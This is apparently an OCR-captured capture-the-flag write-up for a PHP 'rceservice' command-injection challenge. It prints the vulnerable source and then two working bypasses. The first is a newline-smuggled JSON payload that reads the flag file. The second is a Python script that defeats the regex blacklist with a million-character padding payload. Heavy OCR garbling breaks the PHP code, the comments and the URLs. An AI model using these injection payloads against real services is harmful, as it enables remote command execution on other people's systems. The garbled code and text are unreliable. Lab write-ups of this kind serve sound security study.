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https://www.php.net/manual/en/function.putenv.php
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putenv ( string $assignment ): bool
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Web Adminstration Interface

Enter command as JSON:
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Web Adminstration Interface

Attempting to run command:
index.php

Enter command as JSON: | {"emd™"Is"}
FRTREGS

{%0A"cmd":"/bin/cat *"%0A}
18=lindex.phpHYiER3

<?php

putenv (' PATH=/home/rceservice/jail'); #FEE A ENE


https://www.php.net/manual/en/function.putenv.php

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (lis_string($json)) {
echo 'Hacking attempt detected<br/><br/>";

1} elseif (preg_match('/A.*
(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|dec]
are|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|h
istory|if|jobs|kill|let|local|Tlogout|popd|printf|pushd|pwd|read|readonly|re
turn|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|uma
sk|unalias|unset|until|wait|while|[\x00-\x1FA-z0-9!#-\/;-@\[-
T|AAX7F]4) . *8/", $json)) {

echo 'Hacking attempt detected<br/><br/>";
T else {
echo 'Attempting to run command:<br/>"';

$cmd = json_decode($json, true)['cmd'];

if ($emd !'== NULL) {
system($cmd) ;
T else {
echo 'Invalid input';
I
echo '<br/><br/>";
I
b
7>

B putenv (' PATH=/home/rceservice/jail"); ATIEABERRRGS, NE T RAKE
TR, MEIART cat BEREAEXNMMREE NREXATHEIM. RINFTLIEREE
FA /bin/cat RiAMcat@ms.
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7cmd={%0A"cmd":"1s /home/rceservice"%0A}
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Web Adminstration Interface

Attempting to run command:
flag jail

Enter command as JSON:

?emd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

INT v = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
@ Load URL /htlp:/‘,’2994aﬂih- 1324-4d74-9f04-bee 162005bc6.noded.buuoj.cn:d1/?cmd=(%0a"cmd™:"/bin/cat /home/rceservice/flag™%0a)
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Web Adminstration Interface

Attempting to run command:
flag(324adaba-e972-4e98-8cbb-def3dffd8bbb}

Enter command as JSON:
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414 Request-URI Too Large

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":""' + "a"*
(1000000) + ""}" ##EiEF—AJ, FRE—FT/AT&HER.

res = requests.post("http://2994a03b-1324-4d74-9f04-
beel62005bc6.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)

A 1.py - C\Users\87774\Desktop\1.py (3.8.10
File Edit Format Run Options Window Help
[import requests % o R . 5
payload = cn bin/cat /home/rceservice/flag + "a"%(1000000) + AXA THA e I,
res = requests. post("http: 1-bee162005bc6. node4. buucj. cn:81/7, data={"cmd”:paylecad})
print (res. text)
# IDLE Shell 3.8.10 = 0O X

File Edit Shell Debug Options Window Help
Python 3.8.10 (tags/v3.8.10:3d8993a, May 3 2021, 11:48:03) [MSC v.1928 64 bit (
AMD64)] on win32

Type “help”, “eredits” or "license()” for more information.

RESTART: C:\Users\87774\Desktop\l. py

<body>
<h1>Web Adminstration Interface</hl>

Attempting to run command:<br/>flag{324adaba-e972-4e98-8c6b—def3dffdShbb}
<br/><br/>
<form>
Enter conmand as JSO\
<input name="cmd” />
</form>
</body>
</html>
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